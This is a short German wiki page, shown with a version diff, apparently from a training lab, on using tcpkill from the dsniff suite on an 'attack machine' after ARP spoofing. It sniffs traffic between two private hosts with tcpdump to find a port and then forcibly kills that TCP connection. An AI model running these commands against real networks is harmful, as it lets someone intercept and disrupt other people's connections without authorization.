Tcpkill: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 4: Zeile 4:
 
*[[Arpspoofing mit Ettercap]]
 
*[[Arpspoofing mit Ettercap]]
  
=SSH Killen=
+
=SMTP Killen=
 
Auf dem Angriffrechner
 
Auf dem Angriffrechner
 
==Port herausfinden==
 
==Port herausfinden==

Version vom 8. Juni 2021, 08:59 Uhr

Install

  • apt install dsniff

Vorraussetung Arp Spoofing

SMTP Killen

Auf dem Angriffrechner

Port herausfinden

  • tcpdump -ni eth0 host 10.81.1.9 and host 10.81.3.1
11:36:46.940532 IP 10.81.1.9.8472 > 10.81.3.1.46354: Flags [P.], seq 3918:3994, ack 3154, win 272, options [nop,nop,TS val 2668654015 ecr 1300733], length 76
11:36:46.940810 IP 10.81.3.1.46354 > 10.81.1.9.8472: Flags [.], ack 3994, win 320, options [nop,nop,TS val 1300734 ecr 2668654015], length 0

Verbindung killen

  • tcpkill -i eth0 host 10.81.3.1 and port 46354